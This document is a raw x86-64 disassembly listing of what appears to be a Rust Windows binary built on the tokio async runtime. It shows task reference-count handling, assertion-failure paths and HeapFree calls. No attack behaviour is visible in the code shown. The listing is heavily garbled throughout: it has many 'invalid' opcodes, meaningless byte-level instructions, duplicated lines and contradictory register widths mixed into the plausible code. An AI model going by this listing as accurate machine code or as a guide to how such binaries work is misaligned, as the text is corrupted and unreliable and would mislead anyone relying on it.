add byte [rax], al
lea rdx, [0x140100f70]
jmp 0x14009237a
add al, ch
cmpsb byte [rsi], byte [rdi]
lodsb al, byte [rsi]
add eax, 0x86c64100
sub byte [rcx], al
add byte [rax], al
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x1400923b3
mov rcx, rdi
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140092445
cmp eax, 1
je 0x140092413
clc
add dword [rbp + rbp - 0x75], esi
add eax, 0x10cf20
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
invalid
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
invalid
ror dword [rax - 0x73], 0x8b
fadd dword [rax]
add byte [rax], al
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
adc eax, 0x6eb69
call fcn.1400ed020
mov byte [rbx + 0x128], 1
invalid
adc al, 0xac
add eax, 0x2883c600
add dword [rax], eax
add byte [rcx], al
invalid
add dword [rbx + 0x10cef305], ecx
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov dword [rax + 0xf8], 1
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0x100], rcx
add bl, ch
invalid
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140068450
mov qword [rsi + 0x30], 0
xor byte [rax], r8b
add byte [rax], al
invalid
mov byte [rsi + 0xa0], 3
mov eax, dword [0x14019f30c]
invalid
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
invalid
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400924ca
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x1400924b0
invalid
sub eax, 0xce83058b
adc byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
invalid
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
invalid
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, rsi
call 0x14007f640
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401681b0]
mov edx, 0x26
call fcn.140122660
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov edi, dword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
add byte [rax], al
add byte [rax], al
test eax, eax
je 0x1400926ab
xorps xmm6, xmm6
cmp eax, 1
je case.0x140016398.2719
jmp 0x140092704
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea ecx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14009277f
cmp eax, 1
je 0x140092765
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
retf
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
clc
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x39], cl
rol al, 0xff
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400927d4
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400927af
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x14007e9d0
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
invalid
add byte [rax], al
add al, ch
je 0x1400927e8
or byte [rax], al
int3
invalid
lock xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x14009281f
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x140092819
add rsp, 0x28
jmp 0x14007e9d0
sub cl, ch
mov bh, 0xc1
invalid
nop
add rsp, 0x28
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
lea eax, [0x1401680e8]
lea eax, [0x1401680e8]
mov edx, 0x27
add byte [rax], al
call fcn.140122660
int3
push rsi
push rdi
push rbx
sub rsp, 0x30
movaps xmmword [rsp + 0x20], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop word cs:[rax + rax]
mov rcx, rax
xor edx, edx
test cl, 3
add ecx, dword [rdi]
xchg esp, eax
ret 0x948
ret 0x8348
retf 0xf020
cmpxchg qword [rsi], rdx
add ecx, dword [rdi]
xchg esp, eax
ret 0x948
jne case.0x140057a1f.224
test cl, 3
je 0x1400928b2
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140092a83
rol al, 0xff
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400928de
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
je 0x1400928c9
and byte [rax - 0x7d], cl
invalid
xor byte [rbx + 0x5f], bl
pop rsi
jmp 0x14007e9d0
je 0x1400928c9
and byte [rax - 0x7d], cl
invalid
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400928eb
xorps xmm6, xmm6
cmp eax, 1
clc
invalid
je 0x140092918
clc
add dword [rsp + rdi - 0x15], esi
movapd xmm6, xmmword [rsp + 0x20]
jmp 0x140092944
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
add eax, 0x10ca1b
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
invalid
add dword [rbx + 0x10c9ee05], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
adc byte [rax + 0xf8], dh
adc byte [rax + 0xf8], dh
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
add byte [rax - 0x77], cl
mov eax, 0x100
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140068450
mov byte [rsi + 0xa0], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400929da
cmp eax, 1
je 0x1400929a8
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
adc eax, 0x6e5d4
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rbx
jmp 0x1400929e1
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
pop rsi
sub byte [rdi], cl
push rdi
test byte [rax - 0x77], 0xf9
mov rcx, rdi
call fcn.140068450
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
mov byte [rsi + 0xa0], 3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140092a6f
cmp eax, 1
je 0x140092a55
invalid
sub eax, 0xc8de058b
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov cl, 0xc8
adc byte [rax], al
mov cl, 0xc8
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
invalid
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp 0x14007f640
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
push rsi
or eax, 0x27ba00
add byte [rax], al
push rsi
or eax, 0x27ba00
add byte [rax], al
call fcn.140122660
int3
invalid
int3
invalid
invalid
mov rcx, rax
and rcx, 0xfffffffffffffff8
inc rcx
mov edx, eax
shr dl, 5
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
add eax, 0xf001e280
cmpxchg qword [rsi], rcx
je 0x140092b04
test al, 4
je 0x14009313e
test byte [rbp + 6], bl
add byte [rax], al
test byte [rbp + 6], bl
add byte [rax], al
test al, 3
je 0x140092ac0
cmp rax, 0x3f
jbe 0x140093156
invalid
add byte [rax], al
invalid
invalid
add byte [rax - 0x73], cl
ror byte [rax - 0x7d], 0xf9
cmp rcx, 0x40
setb dl
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
add dh, al
cmpxchg qword [rsi], rcx
jne 0x140092ad9
invalid
movzx eax, dl
lea rcx, [0x14019459c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
add eax, ecx
jmp rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov dword [rsp + 0x78], eax
mov dword [rsp + 0x78], eax
js 0x140092b80
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x80], 0
cmp dword [rsi + 0x30], 3
jae 0x14009319e
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov eax, dword [0x14019f30c]
mov ch, 0xc7
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
invalid
ror dword [rdi], 0xb6
movzx eax, byte [rax + 0x128]
sub byte [rax], 1
add byte [rax], al
cmp eax, 2
je 0x140092d29
mov rbx, qword [rsi + 0x28]
cmp eax, 1
invalid
add dword [rsi + rbp - 0x75], esi
add eax, 0x10c789
je case.0x1400679a0.199
mov eax, dword cs:[0x14019f30c]
mov eax, dword [0x14019f30c]
invalid
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
fadd dword [rax]
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
add byte [rax], al
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
adc byte [rax + 0xf8], dh
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax - 0x77], cl
cwde
add byte [rcx], al
add byte [rax], al
mov qword [rax + 0x100], rbx
jmp 0x140092d2c
cmp eax, 2
je 0x140092c5f
mov rdi, qword [rsi + 0x28]
cmp eax, 1
je case.0x14004b6c6.282
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
and eax, 0x58
and eax, 0x58
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
clc
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rax + 0xf8], 1
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
jmp 0x140092c62
xorps xmm6, xmm6
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140067cd0
invalid
push rax
std
dec dword [rax - 0x39]
xor byte [rax + r8], r8b
add byte [rax], al
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140092cf9
invalid
cmp eax, 1
je 0x140092cc7
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
mov ebx, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x6e2b5
call fcn.1400ed020
mov byte [rbx + 0x128], 1
add dword [rax], eax
add byte [rcx], al
movabs dword [0x12883c60005], eax
add dh, al
sub dword [rax], 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx], al
add dword [rbx + 0x10c63f05], ecx
add byte [rbp + 0x48], ah
mov rcx, qword gs:[0x58]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rbx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
clc
add byte [rax], al
add byte [rax - 0x75], cl
pop rsi
sub byte [rax - 0x39], cl
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
mov qword [rax + 0x100], rbx
add byte [rcx], al
add byte [rax], al
jmp 0x140092d00
mov rbx, qword [rsi + 0x28]
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 3
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x39], cl
cmp byte [rcx], r8b
add byte [rax], al
add byte [rax - 0x39], cl
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
pop rsi
mov qword [rsi + 0x50], rbx
push rax
jmp 0x140093026
xorps xmm6, xmm6
lea rbx, [rsp + 0x70]
lea ebx, [rsp + 0x70]
mov rcx, rdi
mov rdx, rbx
call fcn.140067970
mov ecx, dword [0x14019f30c]
or eax, 0x10c5ca
or eax, 0x10c5ca
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x128]
add byte [rbx + 0x537402f9], al
add byte [rbx + 0x537402f9], al
cmp ecx, 1
je 0x140092d92
mov ebp, eax
mov eax, dword [0x14019f30c]
invalid
adc byte [rax], al
mov rcx, qword gs:[0x58]
mov ecx, dword [0x58]
invalid
mov ecx, dword [0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
fadd dword [rax]
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd8]
lea rdx, [0x140100f70]
lea edx, [0x140100f70]
call fcn.1400ed020
mov byte [r14 + 0x128], 1
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
movabs byte [0x12886c6410005], al
xchg byte [rax], ch
add dword [rax], eax
add byte [rcx], al
mov eax, ebp
mov ecx, dword [0x14019f30c]
mov rdx, qword gs:[0x58]
mov rdx, qword [0x58]
invalid
mov rdx, qword [0x58]
adc al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf8], xmm6
mov cl, 1
add byte [rax], al
add byte [rcx + 0xfc08401], dh
ror byte [rdi], 0x84
push rbx
add dword [rax], eax
invalid
test al, al
je case.0x1400895f5.100
ror byte [rdi], 0x84
push rbx
add dword [rax], eax
add byte [rbp + rcx*4 + 0x76], cl
and byte [rax - 0x75], cl
invalid
lea r14, [rsi + 0x20]
mov rax, qword [rsi]
lea rcx, [rsp + 0x40]
and al, 0x40
and al, 0x40
nop word cs:[rax + rax]
add byte [rax - 0x697bf0ff], ch
add eax, dword [rax]
add byte [rax + 0x48347520], ch
and byte [rbp + 0x34], dh
mov rdx, rax
test al, 1
je 0x14009316e
test al, 0x20
jne 0x140092e10
and byte [rbp + 0x34], dh
mov rdx, rax
and rdx, 0xffffffffffffffde
test al, 4
jne 0x140092e30
cmp rax, 0x3f
jbe 0x140093156
add byte [rax], al
clc
invalid
add byte [rax], al
add rdx, 0xffffffffffffffc0
cmp rdx, 0x40
setb r8b
add r8b, r8b
shr bl, 0x3e
shr bl, 0x3e
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov r8b, 3
mov r9, rcx
leave
leave
xor edx, edx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
invalid
je case.default.0x140092e78
jmp 0x140092e66
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x88
add r8, qword [r8]
add byte [rax - 0x7d], cl
ret 0x4140
test rax, rax
js 0x140093186
add rdx, 0x40
mov r8b, 1
invalid
add dword [rax - 0x39], ecx
and al, 0x40
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], 1
mov r9, rbx
mov qword [r9], rdx
cmp dword [rsp + 0x40], 1
jne 0x140092e66
mov rdx, qword [rsp + 0x70]
lock cmpxchg qword [rsi], rdx
invalid
jne 0x140092dd0
invalid
movzx eax, r8b
lea rcx, [0x1401945ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, r14
mov rdx, rsi
call fcn.1400ff170
mov rax, 0xffffffffffffffc0
invalid
invalid
push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x1400931d6
add byte [rax], al
invalid
add byte [rax], al
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x140092b15.2
mov rax, qword [r14]
lock dec qword [rax]
or byte [rbp + 8], dh
mov rcx, r14
call fcn.14002ded0
mov rcx, rdi
jmp 0x140092ed6
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x140092ef1
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x140092b15.2
cmp cl, 2
je 0x140092f76
add eax, 0x10c37e
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14009300b
add dword [rax], eax
add byte [rbx + 0x647402f8], al
cmp eax, 1
je case.0x14008e585.50
add dword [rbp + rbp - 0x75], esi
add eax, 0x10c35a
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
movabs dword [0x5a04ee80006df], eax
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rcx, qword [rsi + 0x28]
mov qword [rax + 0xf8], 1
cmp al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov byte [rax], al
add dword [rax], eax
invalid
jmp 0x14009300e
xorps xmm6, xmm6
mov rcx, rdi
call fcn.140067cd0
mov qword [rsi + 0x30], 3
xor byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsi + 0x38], 0
xor byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsi + 0x38], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov dword [rsi + 0x38], 0
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
ret 0x10
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140093091
add byte [rbx + 0x4c7402f8], al
cmp eax, 1
je 0x140093077
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf8
add byte [rax], al
invalid
mov rcx, rsi
call 0x14007ebe0
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x140167e90]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x140168170]
mov edx, 0x2f
call fcn.140122660
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x58], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x40]
call fcn.1401224d0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140093517
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x1400934f2
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x1400934b3
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x1400934d2
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
adc byte [rax], al
adc byte [rax], al
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
or eax, 0x2bba00
add byte [rax], al
call fcn.140122660
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
call fcn.140122660
int3
or rax, 0x58d4c00
ret
sub rsp, 0x20
mov rax, 0xffffffffffffffc0
push rax
xadd qword [rcx], rax
push rax
xadd qword [rcx], rax
cmp rax, 0x3f
jbe 0x1400935a6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14009359f
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
or byte [rbp + 9], dh
or byte [rbp + 9], dh
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
je 0x140093586
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
invalid
or dword [rax], eax
movabs eax, dword [0x20c48348900009be]
nop
add rsp, 0x20
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401680e8]
mov edx, 0x27
add byte [rdx + 0x27], bh
call fcn.140122660
int3
add ah, cl
int3
movaps xmmword [rsp + 0x20], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
sal dword [rcx], 0xd2
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
ret 0x8348
retf 0xf020
cmpxchg qword [rsi], rdx
jne 0x1400935e0
ret 0x8348
test cl, 3
je 0x140093670
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
xadd dword [rsi], eax
xadd dword [rsi], eax
cmp rax, 0x3f
jbe 0x140093843
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14009369c
ror byte [rax - 0x7d], 0xf8
jne 0x14009369c
mov rax, qword [rsi + 0x20]
lock dec qword [rax]
jne 0x140093631
lea rcx, [rsi + 0x20]
call fcn.14002ded0
lahf
test al, 0xf9
invalid
lahf
test al, 0xf9
dec dword [rax - 0x73]
xor al, r13b
mov dh, 0xb0
invalid
lea rcx, [rsi + 0x30]
call fcn.14007e6f0
mov rax, qword [rsi + 0xfd8]
test rax, rax
invalid
je 0x140093650
sal byte [rdx + rcx + 0x48], 0x8b
mov fs, eax
sldt word [rax]
mov rcx, qword [rsi + 0xfe0]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
mov ecx, dword [0x14019f258]
mov ecx, dword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
or dword [rax], eax
mov ebp, 0x8b480009
jle 0x14009369c
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
add al, 0xc1
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400936a9
xorps xmm6, xmm6
cmp eax, 1
je 0x1400936d6
invalid
cmp al, 0xeb
movapd xmm6, xmmword [rsp + 0x20]
jmp 0x140093702
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
sbb al, 0xc1
add byte [rax - 0x75], cl
sbb al, 0xc1
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov esp, 0x48650010
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rdi, [rsi + 0x30]
